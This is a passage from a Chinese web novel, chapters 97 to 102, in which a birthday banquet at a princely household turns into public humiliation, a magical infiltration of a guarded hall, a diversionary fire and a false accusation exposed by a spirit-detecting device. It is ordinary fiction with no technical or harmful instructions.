为保名分,虽不是赘婿,儿女也都姓了苏。
苏青禾作为嫡长孙女,出生当天就被封了县主,更是自幼得苏巍川亲自启蒙。
这也是苏玉兰最嫉恨难平却又无可奈何的地方。
苏青禾入内后冲着老王妃福了福身。
“青禾祝祖母福寿绵长,安康极乐。”
老王妃笑着招了招手。
“你母亲来了半日都不见你,跑去哪里了?”
苏青禾依言上前,亲昵的依偎在老王妃身边,笑的有几分娇羞。
“我陪二皇子给祖母选了寿礼,刚刚又陪着去见了祖父,两个人聊了好一阵子,这才耽搁了半日,祖母莫怪。”
闻言,老王妃的眼底闪了闪。
苏容安满脸骄傲,倒也忘了刚刚要说的事。
“母亲,青禾与二皇子的婚事也该定了,听说这两日,皇上准他入朝,与三皇子一起理政,甚是器重,更有意册封珠冠,除却三皇子,这可是皇子中的头一份恩宠,实属难得。”
倒不是她不愿苏青禾结交三皇子。
奈何三皇子生母是皇后,又怎会要苏家人为正妃。
这二皇子的母妃早亡,族亲又不强,就算他自己争气,也难出头。
而苏家能给他的帮衬极大。
将来能精进到哪一步,谁也难说。
最主要的是,二皇子长相俊逸清雅,是难得的文武全才,对苏青禾更是钟情已久,连老王爷对其都赞赏有加。
苏青禾自己也很是满意。
这桩婚事只差一道赐婚圣旨,便可玉成。
遭受冷待的程氏几人脸色难看至极。
苏玉兰更是气的跺脚。
秦润瞅准机会,忽地掀起衣袍扑通跪在了地上。
朗声将自己准备了许久的祝寿词喊了出来,喊得抑扬顿挫,情真意切。
室内死一般寂静。
苏容安噗嗤一声笑了出来。
笑的眼泪都溢出了眼角。
“哎呦,二妹,你这个便宜孙子可真逗,上来就喊太祖母,谁认他了。”
笑容未消,语气却陡然凌厉。
“真是不知所谓,来啊,扔出去,莫要脏了老祖宗的眼。”
门口立刻进来了两个小厮,作势就要拿人。
秦润一看没讨到好处,吓得赶紧去抓苏玉兰的裙摆。
“母亲,儿子只是想表表孝心,绝无他意啊。”
苏玉兰顿觉丢人。
气的将裙摆给扯了回来,刚要训斥,程氏却道,“大姐,你在一个孩子面前威风什么?母亲还未发话,到底认不认他,还轮不到你来定吧?”
苏容安正要发火,身侧的苏青禾却伸手拦下,
“母亲,兰儿与她夫君已缔结了婚书,虽未叩拜祖宗,可在律法上是正经夫妻的。这孩子要不要认,自然要祖父来定。”
她说着又抬眸看向老王妃。
“二皇子不便多待,拜访了祖父后便回去了。礼物落在了祖父的佛心堂,祖父定会拿了礼物陪祖母一起用膳的,到那时再说这孩子的事情也不迟。”
老王妃眼底闪过一抹惊喜,却又很快沉寂。
却也知她好意,欣慰的拍了拍她的手背。
这时管家在外面躬身道,“老夫人,贵客都到了,该移步前厅了。”
“知道了。”
老王妃回了一声。
苏容安立刻扶着她站了起来,而另一边,则是苏青禾搭着手臂。
三人径直往外走,经过程氏几人时,老王妃脚步都没停。
明显的区别对待让苏玉兰恨得牙痒痒。
今天她定要苏家所有人对她刮目相看。
等人走了她头上的火再也压不住,伸手狠狠拧在秦明朗的腰间。
“一个屁都不放,我要你有什么用!”
秦明朗哪敢反抗,心里连连叫苦。
程氏虽也不悦,却更沉得住气。
“你祖父没点头之前,你祖母是什么决定都不敢做的。走吧,外面贵客云集,都给我精神着点。”
她说着率先跟了出去。
苏玉兰无奈,只能拽着秦明朗往外走。
秦润连滚带爬地追了上去,虽这五年被江清婉娇养着,可毕竟是小门小户的出身,在这王府高院内,实在难有自在。
又经历刚刚的糗事,这会儿恨不得将尾巴夹起来。
即便一身华服,依旧难掩小家子气。
老王妃院子里伺候的人,都忍不住抿嘴偷笑,臊的他脸红成了猴子屁股。
想去苏玉兰身边找点安慰,却被冷冷瞪了一眼。
他忍不住委屈,心里莫名想起江清婉。
无处安放的情绪,竟让他扭曲的心里发恨。
为什么江清婉不能是县主。
如果她是县主,如果她有高高在上的权势,他就不用这么战战兢兢。
……
宴席上,如苏青禾所料,苏巍川真的出了佛心堂。
并亲自将二皇子送的礼物交给了老王妃。
老王妃的脸上罕见的浮现几分娇羞,夫妻常年难见一面的寂寥似乎都消散不少。
众宾客齐齐跪拜行礼。
“叩见王爷,王爷千岁千岁千千岁。”
“祝王妃寿比南山!”
小侯爷躲在人群里小声吐槽。
“不知道的还以为见了皇上皇后,这么大排场。”
江清婉身为随行小厮,自然没资格入席。
按照规矩,应该跪在自家主子身侧伺候。
好在郭浩选的位置比较偏,旁边又有盆栽遮挡,她身形娇小,索性席地而坐也没人注意。
郭浩怕她饿着,将桌上的美酒和烤鸡全放到了她面前。
老王妃年岁已长,自然没有歌舞班子祝寿。
苏容安请了琴娘献艺,不会太吵又极为风雅。
就连苏巍川都赞了声好琴。
而程氏精心寻来的玉观音,还有秦明朗花光了身上所有的银子买的老山参,老王妃却连盒子都没有打开就随意交给了一旁的嬷嬷。
她心中不平,眼神示意苏玉兰。
今日无论如何,秦明朗这个孙女婿,苏家认也得认,不认也得认。
就算父亲偏心大房不想帮扶,只要秦明朗正式入了苏家的门庭,外面那些个朝臣的脸必然要改改。
以他二品官阶,还有如今手里的兵权,将来定能压过大房。
苏玉兰早就安耐不住。
立刻给秦润使了个眼色,没等他回过神来,就被一把推了出去。
第98章 崩溃
秦润踉跄着杵在中央,心里慌得厉害。
众人顿时议论纷纷。
“这是谁家的孩子?”
秦润倒也反应极快,噗通一声跪在了地上。
“润儿给太祖父请安,祝太祖父身体康健,也祝太祖母福寿绵长。”
趁着众人全都被吸引了目光。
苏玉兰当即拽着秦明朗走出来,跪在了秦润的前面。
“祖父,润儿对您敬慕已久,情急无状,兰儿替他跟您赔罪。”
她俯身跪拜,眼神示意秦明朗说话。
秦明朗从进王府开始就慌得不行。
这会儿更是慌张到了极点,可箭在弦上不能不发,索性硬着头皮在苏巍川冷淡的审视下朗声开口。
“孙婿秦明朗拜见祖父。”
秦明朗虽为二品将军,可他是从边境回来的路上论功封赏的。
之前在朝中毫无水花。
而秦家,在京城内更是连名门都算不上。
就连苏玉兰上门逼着江清婉和离的闹剧,也是后来市井之中传闻渐多又牵扯到九王的桃色绯闻才被人关注。
苏家从未对外承认过秦明朗的身份。
因而朝臣对秦明朗的态度都是模棱两可,甚至尽量回避。
如今苏玉兰带着秦明朗还有个孩子在寿宴上来这么一出,颇有点逼着秦家为其正名的意思。
郭浩兴奋地伸手戳了戳江清婉。
“别啃鸡腿了,快看好戏。你猜猜老王爷会不会一怒之下把你那个渣男夫君给咔嚓了。”
江清婉悠然的倒了一杯酒,抿了一口,味醇,香而不辣,很是好喝。
“我与他已经和离,他死不死跟我有什么关系。”
郭浩看着她慵懒小猫儿的模样越发心动。
“我就喜欢你这劲儿。”
回应他的是江清婉一个大白眼。
郭浩却乐的不行。
“虽然你和离了,但要是秦明朗得了苏家的势,还不定怎么欺负你。左右九王不会娶你,要不然你嫁给我做侯爷夫人怎么样?”
江清婉一脚踹在了他屁股上。
差点没把郭浩给踹出去,吓得他赶紧正襟危坐不敢再造次。
整个宴席上,窃窃私语不断,所有人的注意力都在等着接下来要发生的事情。
江清婉将酒杯一放,悄无声息地退了出去。
主位上的苏巍川脸色并不好看。
“小孩子坐不住正常,带下去吧。”
他丝毫没有接苏玉兰和秦明朗的话茬。
陪坐在苏容安身边的苏青禾忽地轻声提醒。
“母亲,现在可以说了。”
苏容安怔了怔,很快回过神来,憋着笑立刻起身冲着苏巍川行了一礼。
“父亲,刚刚二妹带着兰儿他们一家去跟母亲请安,兰儿甚是骄傲,说她的夫君是二品将军,已经升任巡防营首将,将整个京城的治安尽数握在手中,还说我夫君和儿子将来要仰仗他们,如此成就,还真是光耀门楣。”
在场朝臣各个面面相觑。
兵部主薄一脸懵。
“秦将军不是暂时被停职了吗?何时升任的巡防营首将?我怎不知?”
旁边有人低声打趣。
“怕是故意编了个名头来王爷面前讨喜,真是什么谎话都敢说,这不自打自脸吗?”
议论声渐渐大了起来。
秦明朗俊脸通红,恨不得找个地缝钻下去。
苏玉兰却以为众人惧怕苏家大房的威压,冷哼一声,“大伯母,我知道你一向看不起我们二房,如今我夫君有本事,你心生嫉恨我可以理解,但你万不该在祖父面前嚼舌根,还当着这么多贵客的面。”
苏容安巴不得她闹大,故意摆出一副恨铁不成钢的惋惜表情。
“兰儿,你母亲识人不明,已让你祖父祖母操碎了心,没想到你自小伶俐也跟你母亲一样犯浑,找了个谎话连篇的男人,还当成了宝。”
“这位秦将军,你到底是不是巡防营首将,今日你觉得还瞒得住吗?”
苏玉兰猛地呆住。
心头猛地升起一股极不好的预感,转身狠狠瞪着秦明朗。
“你说话啊。”
事到如今,秦明朗索性把心一横。
“祖父,我与兰儿缔结了婚书,呈报了府衙,因那时我尚在边疆无法拜祖,是孙婿失礼。今日莽撞,愿想接着祖母寿辰的大喜之日,身披官袍正式拜见。可是……”
“九王殿下将孙婿的结发妻子接去王府,更在朝堂之上诋毁孙婿品性不端,是以孙婿虽为二品却只落得一个监造郎的官职。孙婿不愿兰儿受委屈,一心想要做出成绩,却再被打压。”
他俯身跪地。
“是孙婿无能。”
苏玉兰跌坐在地上,面如死灰。
郭浩看的津津有味,顺势将手里的干果碟子递到了身后。
等了半天也不见人接,不由回头一看,登时吓出一身冷汗。
他身后哪还有江清婉的人影。
想到今日他来送寿礼之前,被江清婉堵在了侯府门口要求同往,还将昨日救霍震的五千两银子还了回来,说是抵消人情。
银子他自然不会要回。
能多跟江清婉待着,他已是很开心。
原以为她就是想凑个热闹,如今苏玉兰一家的热闹正盛,她人却不见了。
难不成她跟着来苏府,不是为了报复让苏玉兰出糗报复,而是另有所图?
他一颗心都提溜了起来。
这可是苏府啊?
少不得府兵暗卫隐藏在暗处护佑平安,她一个手无缚鸡之力的人,若是闯了祸,被人当场给杀了……
思及此,他腿都开始打哆嗦。
可眼下这气氛剑拔弩张,他若是此时起身,必定引人注意。
说不定还会坏了江清婉的事情。
他只能一遍一遍安慰自己,以江清婉的本事,不可能会出事。
可脑袋里墨云寒煞神一般的影子却不时浮现,让他连热闹都看不下去了。
此刻的苏玉兰,眼前一阵阵发黑。
她苦心经营了这么多年,终于能回京。
她设想了无数次今天的场景。
苏家所有人都会对她刮目相看,再不敢轻贱。
就连对她少有言语的祖父,以后也会器重她的夫君,对她疼爱有加。
可这一切,全完了。
她再也安耐不住,一巴掌呼在了秦明朗的脸上。
“你为何骗我!”
“你为何骗我!”
秦润吓得缩在地上瑟瑟发抖。
秦明朗不敢躲,被打的异常狼狈,场面滑稽又可笑。
程氏身旁的程楠忽地小声道,“别提九王啊,提身份。”
正陷入困局的程氏如醍醐灌顶,瞬间清醒。
她立刻起身。
“父亲,明朗是我女婿,是苏家的孙婿,他的困境,我看在眼里疼在心里,今日这场闹剧,的确是我们不对。实在是我们走投无路,想让父亲帮上一帮。”
她并未急着求一个结果。
而是转头看向被秦明朗扣在怀里的苏玉兰。
“兰儿,我知你悲痛,但胳膊扭不过大腿,你要相信你祖父会为你们主持公道,快回席位,今日是你们祖母寿辰,莫要扫了大家的兴致。”
第99章 守阵
秦明朗和秦润赶紧将苏玉兰扶拽着回了位子上坐下。
他心里头的一块石头沉沉地放了下来。
事情败露了又能怎么样。
当着这么多朝臣宾客的面,苏巍川不想认他这个孙女婿也得认,不仅要认,将来定然还会帮他筹谋,让他有机会出人头地。
否则,跟随苏家的那些朝臣心里可要泛起嘀咕,认为苏巍川没了往日的权势,怕了墨云寒。
可苏玉兰却想不到他这么远。
只知道自己当着这么多人的面丢尽了脸。
更是让大房和苏青禾看够了笑话。
一落座她就猛地挣开手,猩红着眼睛死死瞪着秦明朗。
这时苏青禾悠然站起,冲着主位上的苏巍川福了福身。
“祖父,青禾为祖母准备了一份特殊的礼物,这最后一步,还要祖父帮忙。”
她说着拍了拍手。
立刻有小厮抬着一个红布盖着的东西走了进来。
苏青禾上前揭开。
堂内顿时响起一阵吸气声,紧接着不绝于耳的惊叹。
竟是极难培育的寿山桃,果子色泽粉润饱满,还长在树枝之上。
她再次福身。
“请祖父摘寿桃,青禾祝愿祖父祖母康泰如寿山不老,喜乐常伴!”
刚刚的阴霾气氛一扫而空。
苏巍川大喜。
堂内宾客也是连声夸赞。
刚刚苏玉兰有多丢人,此刻的苏青禾就有多耀眼。
看着那处的热闹,苏玉兰恨得牙都快咬碎了,起身就要走,却被程氏拦下。
“你祖父祖母尚未离席,你还要胡闹?”
秦明朗心思一动。
“岳母,是我让兰儿失望了,小婿无脸再呆,自去外面反省等候。”
“润儿,好生陪着你母亲。”
他说完低着头匆匆走了。
旁人只当他受不住苏玉兰的打骂才离席,并不知他心中另有打算。
程氏叹了口气,侧头看向程楠。
“你可还有主意?”
程楠依旧一副懦弱模样,讨好的将剥好的虾放在程氏的碗碟里。
“夫人,岳父不会让一个二品将军闲置的。”
本还心焦的程氏,顿时定了心神。
大房之所有受宠,一是因为嫡出,这二,自然是因为他们给苏家生了孙儿,而且入了军武,能为苏家的将来撑起一片天。
如今的秦明朗不回京便是二品,一点不比大房差。
她将虾又夹给了程楠。
“你这脑子倒还没被玩物丧志所磨灭,也该好好动一动了。”
程楠低垂着眉没说话。
前厅热闹非凡,后院就显得异常安静。
只有从厨房酒窖前往前厅送食材的丫鬟小厮,行色匆匆。
江清婉混迹其中,从后厨接了个果盘在手里端着。
诸葛门中倒是有隐匿身形的法术。
可她现在的修为若用起来,耗费太大。
她听青穗说过,暗卫盯梢,并不会全天候的睁着眼四处看,大都是靠听觉。
除非武功高过他们很多,否则就算轻功很厉害,落地的那点细微波动,他们也能捕捉。
对此,他们有着足够的自信。
所以她选择了隐匿气息,冒一次险,若真的出事,再隐匿身形也不迟。
她并不熟悉王府地形。
可她要找的是阵法。
有阵法的地方自然会有灵力波动,对她来说很容易找。
转了几条回廊,她站在了佛心堂的前面。
紧闭的院门有丝丝缕缕的红线缠绕。
是守阵。
威力不大,但是一旦有外人闯入,布阵之人会立刻察觉。
而且破阵也会被发现。
她抬头看向院墙。
红线丝丝缕缕绕过了整个院子。
这守阵,守的并不仅仅是门口。
她越发好奇。
到底藏着什么秘密用得着如此?
正思考着怎么进去不被人察觉,
忽然一个鬼鬼祟祟的人影出现在佛心堂门口。
一身黑衣蒙着面巾,似乎会武,环顾四周后直接一个飞跃,跳进了院子里。
门口的守阵丝线瞬间动了起来。
江清婉立刻来了精神,蹲在黑暗的树荫下,用小木叉子插着瓜果,吃的津津有味。
几个呼吸的时间,佛心堂内就传来了打斗声。
于此同时,
前院正被敬酒的苏巍川眸色陡沉。
“诸位吃好,王府进了只老鼠,老夫去看看。”
说罢将酒盏放下径直走了。
众人齐齐躬身相送。
郭浩心里又慌又急。
那只小老鼠不会就是江清婉吧?
若真的被逮住,可要如何是好。
苏巍川一走,整个宴席就变得轻松很多。
不少人串着桌敬酒说话,也有不少人往老王妃那一桌去贺寿。
郭浩趁乱遛了出去。
一直盯着他忿忿难平的夏宇立刻带着小厮偷偷跟在后面,伺机而动。
佛心堂前,
江清婉原以为闯入的人会被扭送出来治罪。
却没想到打了一会,里面却没了动静。
而整个佛心堂外围的守阵正在急剧的膨胀。
有几处红线已经崩裂。
里面有什么带着强大灵力的东西破了壳。
江清婉此刻也顾不得修为损伤,立刻隐匿身形迅速冲了进去。
隐匿身形的法术坚持不太久,她进了佛心堂就直接朝着灵力释放最浓郁的书房而去。
书房门口,倒了两个黑衣人。
不知是之前进来的,还是佛心堂本身的暗卫。
她正要进去,
就听见佛心堂的院门被人推开,苏巍川沉稳浑厚的声音随即响起。
“围起来,一只苍蝇也不准放过。”
府兵迅速聚集,连同府中其他暗卫全都汇聚到了佛心堂周围。
江清婉正犹豫要不要现在离开,一只赤红色乌鸦忽然从书房内冲了出来。
裹挟着强大的灵力,让整个守阵彻底崩裂。
原来是这东西。
江清婉的指尖迅速凝聚符箓,朝着借助隐匿术法,手指迅速结阵,掌心猛地上台,在乌鸦飞向高空的瞬间,收阵下压。
那赤色乌鸦发出刺耳的鸣叫,迅速被拍回地上。
化作一道人影。
双眼赤红,带着乌鸦面具,显然没想到会被术法攻击,被撞击的哇的吐了口鲜血,四处查看施法之人所在。
而这时苏巍川已经带人冲了进来。
见此场景眸色森然,“抓活的。”
他身后暗卫迅速飞身围攻。
江清婉怔住。
难道这赤眼乌鸦不是苏巍川养的?
她转头看向书房内,心思微动,正要冲进去看看,一道黑影却又在这时冲了出来。
那人看不到她,差点直冲她面门而来,幸好她躲闪及时,错身而过的瞬间,她看到了一双熟悉至极的眸子。
秦明朗?
“还有一个,抓住他。”
院子里已经乱作一团。
江清婉趁乱进了书房,一眼就看到一处密室的门大敞开着,似因走的匆忙,来不及关,她刚要进去看看,苏巍川已经疾步而来,先她一步冲进了密室。
她立刻紧随其后。
刚进去就感觉到一股彻骨的寒意,她差点冻得打出喷嚏。
第100章 敢捅了天的胆
苏巍川却似浑然不觉,进了密室后又打开了另一道密室,而那道密室是通往地下的。
江清婉不确定是密道还是密室,算着时间,没敢冒险跟,站在原地环顾当下所在的密室四周。
脚下寒气上涌。
她低头一看,整个密室的地面竟铺满了大块的寒冰玉石。
这种玉石造价昂贵,极其稀少。
更别说这么大面积的用在密室之中。
怪不得会这么冷。
可整个密室内却又没有放置什么容易腐坏的东西。
反而是一些极为陈旧的物品,有好多都沾着煞气。
不是死人用的,就是曾历经过惨烈的杀戮,被喊冤的鲜血尽染过。
苏巍川这是什么癖好,竟收藏着这些东西。
看了一圈,她的目光落在墙边的沙盘上。
苏巍川是武将。
家中设有沙盘再正常不过。
可江清婉一眼就看出,那是双龙斗的风水对抗局。
她好奇凑近细看。
果然发现不对劲。
双龙斗已经结束,其中一龙看似消亡,实则隐于暗潮之下,在反向破坏另一条龙脉的气运。
此消彼长,此长彼消。
她一时间竟分不出,到底是哪条龙胜了,而设沙盘之人,又是站在哪条龙的身边。
透明的指尖忽地闪了闪。
提醒着她隐匿法术即将过时。
她不敢再逗留,迅速往外走。
忽听有人敲锣打鼓。
“走水了,走水了。”
王府一角,冒起滚滚浓烟。
江清婉已经跑出了书房,而她的一只手已经藏不住。
好在这时,所有人都被浓烟吸引,并没有人注意一只忽明忽暗的手。
“不好了,是祠堂,着火的是祠堂!”
佛心堂的老仆心急如焚,
“快去救火!”
整个王府全都乱了套。
呛得满脸都是灰的郭浩从小厮丫鬟的院墙内找了个狗洞奋力的爬了出来。
听着里面吵吵闹闹的声音,心有余悸地连连拍着胸口。
“但愿能帮到你,可千万别被抓了啊。”
他觉得还是不保险,想了想从地上爬起来准备去九王府报信。
可一抬头却撞上了夏宇带着四个家丁从逼仄的巷子围了过来。
“小侯爷,你可真是好大的手笔啊,连苏家的祠堂都敢烧!”
郭浩吓了一跳。
强装镇定的梗起脖子。
“夏宇,你胡说八道什么?仗着人多想动手吗?我警告你,伤了我,你爹也护不住你。”
夏宇大笑。
一想到刚刚在王府内受气丢脸,这会儿顿觉舒爽。
“我亲眼看到你放火烧了祠堂,你猜猜,如果我把你扭送到老王爷的面前,你爹护不护的住你?”
郭浩脸色瞬间变得异常难看。
浑身也紧绷起来,像被踩了尾巴却又不敢反抗。
夏宇越发得意。
“跪下,从小爷的裤裆里钻过去,再喊几声爷爷,本少爷考虑考虑给你一条活路。”
郭浩长这么大都没受过这委屈。
登时气的肺炸。
“狗东西,你也配爷爷跪你,我杀了你们,就没人知道了。”
他说着撸起袖子就要动手。
可他从小就不爱习武,虽然亲爹是武将,也只是落得个身体素质不错,要动起真格来,根本不顶用。
三两下就被家丁摁在了地上。
夏宇蹲在他身前,一巴掌呼在他脑袋上。
“你再能耐啊?最后问你一次,跪,还是不跪?”
郭浩愤怒挣扎却根本挣不开,反而蹭了一脸的泥。
“夏宇,你有种放开我咱俩单挑,老子要是输了,任凭你处置。”
夏宇悠然起身。
“我一介书生,才不跟你这莽夫斗狠。既然不愿意跪,那好,我送你回苏府,让老王爷发落。”
郭浩心里着急。
在老王妃寿宴上点了苏家的祠堂,就算他老爹来了,这事怕也翻不了篇。
“不就是给你跪下钻裤裆吗?我答应了,放开我。”
夏宇本就意在折辱他,当即让人松手。
随即撩起下摆,跨立在前。
“来吧,小侯爷。”
郭浩瞅准机会,抬脚朝着他的裤裆狠狠踹了过去。
“你娘的,老子是你爷爷,是你祖爷爷。”
夏宇没想到到了这个时候,郭浩竟然还不怕。
惨叫一声捂着裤裆跪倒在地。
郭浩瞅准机会撒腿就跑。
“给我抓住他!”
夏宇疼的都成了太监腔,咬牙切齿的从地上爬起来。
“郭浩,我要弄死你,我今天要弄死你。”
郭浩原以为能跑出巷子,谁知后面的人不讲武德,抓起石头砸在了他的小腿上。
他踉跄着摔趴在地上,鼻子被摔得飙出两道鲜血。
双腿被后面的人拽着,顷刻间又拉回到夏宇的面前。
夏宇抬手啪啪就是两巴掌。
“给我把他的腿分开,我要废了他。”
他依旧弓着腰,夹着腿,声音又尖又细。
郭浩本想嘲笑两声,可自个双腿却被强行打开,眼见着要遭遇同等的事情,登时后背一阵发紧,声音都有点抖。
“夏宇,你过分了,断了我郭家的根,我爹一定杀上夏家,咱们谁也别想活,万事好商量,你别……喂喂喂……”
夏宇的脚已经抬起,“敢踢我裆,我让你断子绝孙!”
“啊!”
预想的巨疼并没有传来。
郭浩喊了半天,猛地睁开眼,就看到眼前所有人都不动了。
他迅速挣脱开束缚手脚并用的从地上爬了起来。
“哪位英雄……”
“闭嘴,过来扶我。”
几人身后传来虚弱的声音。
郭浩赶紧探头,这才看到几步之外靠在墙上即便脸上刻意抹黑依旧就看出苍白的江清婉。
“你没事啊?太好了,不枉费我冒险烧了苏家的祠堂。”
他小跑着过去扶她。
“受伤了吗?”
江清婉摇摇头。
隐匿法术有点耗费灵力,她只是有点虚。
刚刚又紧急释放了阵法保住郭浩,这会儿腿都有点站不住。
“赶紧走,一会苏家的人该搜过来了。”
郭浩摇头。
“你先走,我得回去,要不然他们搜查谁没在宴席上,一查就能查到我。到时候会连累我爹的。”
江清婉指了指站定在阵法中的几人。
“不怕他们?”
郭浩笑笑。
“他们有他们的说辞,我有我的,真敢告我状,我就反咬他们一口说亲眼看到他们烧了祠堂,我追出来拿人。就算要严刑逼供,他们也逃不脱,而且,威远候府在皇上那里还是有点面子的,不至于真的拿我如何。”
江清婉很是意外。
这人虽混不吝,关键时刻,倒是想的很通透。
她从腰间荷包里摸出一道空白符纸,刻了符箓后递给他。
这会儿她实在没什么力气。
“有火折子吧?烧了符纸,在他们鼻翼间过一遍,他们会忘记一个时辰前发生的所有事情,之后就算再想起,也已时过境迁。”
郭浩顿觉新奇。
“小娘子,你竟还有这等通天的本事?快给我试试。”
他立刻接过符纸,摸出火折子点着,照着江清婉所说的挨个熏了一遍,等符纸燃尽后,插着腰站在那里等。
江清婉无语至极。
“你在等什么啊?还不赶紧走。”
“啊?我想看看他们是不是真的会失忆?”
江清婉翻了个白眼。
“擦干净你的鼻血收拾一下,我也跟你一起回去。”
第101章 指控
王府另一侧,佛心堂的后方院墙窜出一道黑气。
急速朝着四下散开。
随着一声重物落地的声音,秦明朗狠狠掉在地上,砸烂了僻巷里堆砌的破旧箩筐。
他捂着胸口吐了口血。
一道黑影落在他面前,依旧戴着长长的黑色帷帽,看不到半点长相。
“东西拿到了吗?”
秦明朗挣扎坐起,依旧惊魂未定。
刚刚如果不是这人突然出现,又用诡异的乌鸦幻化之术吸引了兵力,他必将困于佛心堂被逮个正着。
攥着偷来的地图,他并没有递出去。
“你到底是什么人?你答应我的事……”
“三日后,太后会去护国寺为太上皇祈福,大隋余孽计划在那日诛杀太后。”
他伸出手,掌心托着一个黑漆漆的丹药。
“它可以让你的武功在瞬间提升十倍,一日后失效。记住,既是拼命救人,自然要伤的越重效果越好。”
秦明朗看着那颗丹药,片刻后拿起,将手里的地图放下。
……
另一边,江清婉稍稍恢复了些力气,和郭浩两个人从狗洞钻回去,一人拿着桶一人端着盆,很快加入了救火的队伍之中。
宴席中的不少人也都参与其中。
女眷并没有过来。
等大火灭了,,每个人的脸上都多多少少沾了灰尘,尽显狼狈,哪还有入府时的贵气。
整个祠堂烧的黑漆漆的。
虽救的及时,可里面本就供奉着长明灯,挂着黄幡,香火更是从不灭,极易燃。
苏巍川看着仆人小心搬出来的牌位,哪还有一个能看得清字迹。
他的脸色难看至极。
周围朝臣各个愤慨。
“哪里来的贼人,如此胆大包天,竟然敢在苏府放火,还偏偏少了祠堂,居心何在?”
“必须将贼人给揪出来,实在太可恶了。”
“苏府守卫森严,贼人怕是趁着老王妃的寿宴混进来的。你们可有看到谁离席未归?”
众人皆是四下查看。
这时老仆匆匆走到苏巍川身边小声低语了几句。
苏巍川的脸色又沉了几分。
“诸位,今日贼人入府,放火盗窃,竟偷了皇上亲赐的金龙杯。”
他话刚说完就有人站了出来。
“王爷,此等贼子实在可恶,正好不知何人离席,不如就地搜身检查,定能将贼子揪出。”
众人齐齐附和,竟全都主动要求搜身。
江清婉皱眉。
赤眼乌鸦不是被抓住了吗?
为何要搜身?
这时老仆端来一个碧玉盘,盘内放着一颗类似于夜明珠的东西。
正散发着温润的光。
“诸位大人,王爷为保护金龙杯,在外面涂了特制的药粉,只要谁接触过,被此物一照,即刻能显现出来。不知哪位大人先请?”
当下有人站出来过去检验。
江清婉却心下一惊。
那东西,根本不是照什么药粉的。
而是专测灵力的法器。
苏巍川竟然连这等法器都有。
在场众人都想自证清白。
无论是贵客朝臣,还是跟来的小厮仆从,都乖乖过去自动接受检查。
排队的郭浩用肩膀轻轻碰了碰江清婉。
“真是天助我们,放火的罪扣在了盗贼的身上。”
他一脸轻松,带着江清婉跑过去检查。
刚轮到他们,夏宇忽然冲了过来。
“是郭浩。”
郭浩吓得一哆嗦,手直接摁在了圆球上,差点把圆球从托盘里给扒拉出来。
老仆也吓了一跳,慌忙伸手接了一下。
苏巍川的目光落在圆球上,其上光晕并没有任何变化。
夏世辉沉声道,“宇儿,王爷面前休要胡言。郭浩身为侯府世子,怎会赶出忤逆皇权的事情。”
此刻郭浩心里慌得一批。
他偷偷看向江清婉,眼神询问怎么回事?
不是说好会失忆的吗?
怎么还记得?
江清婉示意他稍安勿躁。
她的符不会有问题。
不过,当时她灵力几乎耗尽,这符到底会达成什么效果,她也没把握。
夏宇一听事情这么大,又见郭浩站在所有人前面,还以为已经抓到了把柄,顿时大声道,“爹,我没有胡说,我亲眼看到郭浩离席往这边走,一定就是他点的火。”
众人齐齐看向郭浩。
郭浩只心虚了一下就插起腰反击了回去。
“夏宇,你不就是气我在宴席前打了你一巴掌吗?那也是你诋毁我爹在前,我才动的手。你父亲也已经替你道歉,你怎么还揪着不放,竟还攀咬我放火?”
“刚刚大家伙都在这里帮忙灭火,你却是从外面跑回来的,你说我有嫌疑,我还觉得你有嫌疑呢?对了,那个失窃的金龙杯不会是你拿走的吧,趁乱放到了王府外面,再进来诬告我一通,真是好歹毒的计谋。”
论泼皮无赖,郭浩手到擒来。
以前小时候为了从老侯爷手里骗银子花,他可没少说谎编瞎话。
这会儿说起来,无论语气还有神态,半点破绽都没有。
要不是江清婉知道内情,听着都能相信。
更何况一群不知内情的人,顿时又全都狐疑的看向了夏宇。
夏宇一脸懵。
“什么九龙杯,我没偷九龙杯,我是跟着郭浩往这边走的,我亲眼看见他……”
记忆骤然空白。
他想了半天也没想出来看见了什么,整个人表情有些呆。
夏世辉急的踹他。
“你倒是说清楚啊。”
夏宇被踹的一个踉跄,委屈至极。
“爹,你信我,一定就是郭浩干的,要不然他往这边跑干什么?”
郭浩见他说不出个所以然了,顿时底气更足。
“我一个小辈,陪着老王爷饮酒紧张,老王爷离席后我出来松口气不行啊。你这个混蛋,非攀咬我放火,那你说,你是亲眼看见了,还是找到了什么证据,要是没有,我一定让我爹去你们夏家讨个说法。”
夏世辉心里咯噔一下。
老侯爷虽已失势,可有军功在,又只生了郭浩一根独苗,平日就护的紧。若真把事情闹去了皇家面前,夏家讨不到半点便宜。
“宇儿,你到底有没有证据?”
“爹,肯定是他,你信我。”夏宇依旧信誓旦旦。
夏世辉气的差点翻白眼。
没有证据,就算他信有什么用!
剑拔弩张时,江清婉忽地小声道,“世子,不是偷九龙杯的人放的火吗?夏少爷怎么老说是你放的,可你又没偷九龙杯。咱们都测完了啊,要不然他也测测,万一是贼喊捉贼呢?”
第102章 佛心堂的秘密
夏宇气的撸起袖子。
“你这奴才,这里有你说话的份吗?”
郭浩立刻挡在江清婉前面。
“我的人,你少吆五喝六的。若没做亏心事,你测一测怕什么?心虚啊?”
人群中也有人附和。
“夏大人,让令郎测一测自证清白。”
夏世辉哪会不同意,催促夏宇赶紧上前。
夏宇狠狠瞪了一眼郭浩。
“等我测完,咱们再说放火的事,敢烧王府的祠堂,你今天死定了。”
他说着将手放在了圆球上。
一直散发着白光的圆球,忽然间变了颜色。
所有人都看到他的手指在光晕中染了幽幽的蓝色。
“真的是他偷了九龙杯啊!”
夏宇难以置信的看着自己的手。
“我……我没偷。”
夏世辉气的一巴掌呼在了他的脸上。
“混账东西,你怎么敢干出这等事情来,九龙杯在哪里,那可是御赐的东西,还不赶紧交出来。”
夏宇捂着脸都快哭了。
“我没偷,我就没见过那什么九龙杯啊。我是冤枉的。”
夏世辉又想到什么,急声问道,“你刚刚出府去了哪里?”
夏宇想到什么,立刻指着院墙的方向。
“我……我明明记得跟着郭浩来了这边,可后面发生了什么就全记不得了,再之后就出现在了外面的小巷子里。我听见王府里喊走水了,才跑回来的。”
郭浩立刻哦了一声。
“原来你什么都没看见,满嘴谎言的冤枉我。夏大人,这事,你必须给我个说法。”
夏世辉此刻一个头两个大,忙不迭的拱手致歉。
“小侯爷,犬子之事等查清,我定让他给你跪下赔罪。”
这时苏巍川缓缓开口。
“不必等查清了,既没亲眼看到,就已算攀咬,这罪,该赔。”
夏世辉心头一颤,猛地拽着夏宇摁跪在地上。
“给小侯爷磕头,磕到他原谅你为止。”
夏宇心里恨得要死,却也怕的要死。
